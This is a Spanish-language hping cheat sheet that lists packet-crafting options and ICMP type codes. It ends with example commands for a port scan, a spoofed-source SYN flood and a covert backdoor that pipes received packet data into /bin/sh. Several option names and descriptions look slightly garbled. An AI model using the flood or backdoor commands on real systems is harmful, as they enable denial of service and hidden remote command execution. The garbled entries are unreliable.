OPCIONES BASE

-q --quiet **-v --version**
-I --interface **-V --verbose**
-D --debug
-c --count contar paquetes respuesta
-i --interval segundos, *u*X para µsegundos [1s]
--beep beep por paquete recibido (no ICMP)
-n --numeric no resolver
-z --bind usar ctrl+z para aumentar TTL
-Z --unbind
--fase 10 paquetes / seg
--master 1 paquete / µs
--flood lo más rápido posible

OPCIONES TÍPICAS

-d --data tamaño del campo datos del paquete
-E --file insertar en datos del paquete
-e --sign longitud de firma
-j --dump mostrar paquetes recibidos en hex.
-J --print volcado en caracteres imprimibles
-B --safe reenviar paquetes perdidos
-u --end enviar EOF cuando --file
-T --traceroute modo traceroute, además:
--tr-keep-ttl para mantener TTL fijo
--tr-stop salir si no recibe paquete *time ICMP exceed*
--tr-no-rtt no mostrar información RTT
--tcpexitcode último tcp→th_flag como código de salida

[*?*] : valor por defecto

OPCIONES RELACIONADAS CON IP

-a --spoof falsear host origen
--rand-source enviar paquetes origen aleat.
--rand-dest comodín con X
-t --ttl establecer valor de TTL
-N --id identificador IP [aleatorio]
-H --ipprot protocolo IP en modo raw ip
-W--winid mostrar respuestas de Windows
-r --rel relativizar Identificador
-f --frag fragmentar paquetes [16 bytes]
-x --morefrag enviar time-exceeded de ICMP
-y --dontfrag realizar PDMTU
-g --fragoff establecer desfase de fragmento
-G --rroute incluir RECORD_ROUTE
-m --mtu valor de MTU
-o --tos establecer servicio, en HEX

OPCIONES RELACIONADAS CON ICMP

-C --icmptype tipo de petición [echo]
-K --icmpcode código ICMP [0]
--icmp-ipver versión IP [4]
--icmp-iphlen longitud de cabecera IP [5]
--icmp-iplen ip longitud del paquete, [real]
--icmp-ipid asignar identificador IP [aleat]
--icmp-ipproto protocolo IP [TCP]
--icmp-cksum valor checksum [válido]
--icmp-ts petición timestamp
--icmp-addr petición mask

RELACIONADAS CON TCP/UDP

-s --baseport [aleat], +1 si recibido
-p --destport [0], si se indica el puerto:
+puerto aumenta por paquete recibido
++puerto aumenta por paquete enviado
--keep mantener puerto de origen
-w --win establecer tamaño ventana [64]
-O --tcpoff -b --badchksum
-M --setseq -L --setack
-Q --seqnum obtener núms de secuencia
--tcp-timestamp establecer timestamp

FlAGS TCP

-F --fin **-S** --syn **-R** --rst
-P --push **-A** --ack **-U** --urg
-X --xmas **-Y** --ymas

SELECCIÓN DE PROTOCOLO

-0 --rawip **-1 --icmp** **-2 --ucp**
-8 --scan con:
rangos: 20-53
delimitados por coma: 1,3,4
conocidos: del /etc/services
negar con !: 1-53,!4
-9 --listen busca información según valor

CÓDIGOS ICMP

0	Echo Reply
1	Unassigned
2	Unassigned
3	Destination Unreachable
4	Source Quench
5	Redirect
6	Alternate Host Address
7	Unassigned
8	Echo
9	Router Advertisement
10	Router Selection
11	Time Exceeded
12	Parameter Problem
13	Timestamp
14	Timestamp Reply
15	Information Request
16	Information Reply
17	Address Mask Request
18	Address Mask Reply
19	Reservados (para seguridad)
20-29	Reservados (Experimentales)
30	Traceroute
31	Datagram Conversion Error
32	Mobile Host Redirect
33	IPv6 Where-Are-You
34	IPv6 I-Am-Here
35	Mobile Registration Request
36	Mobile Registration Reply
37	Domain Name Request
38	Domain Name Reply
39	SKIP
40	Photuris
41-255	Reservados

Uptime: hping2 -p 80 -S --tcp-timestamp *host*
PortScan: hping –I eth0 --scan 20-25,80,443 -S *host*
Synflood: hping –p 80 –i u10000 –a *fuente* –S *host*
Backdoor: **S** → hping3 -I eth1 -9 secret | /bin/sh
C → hping3 -R *ip* -e secret -E *fich_comandos* -d 100 -c 1

SecurityByDefault.com

hping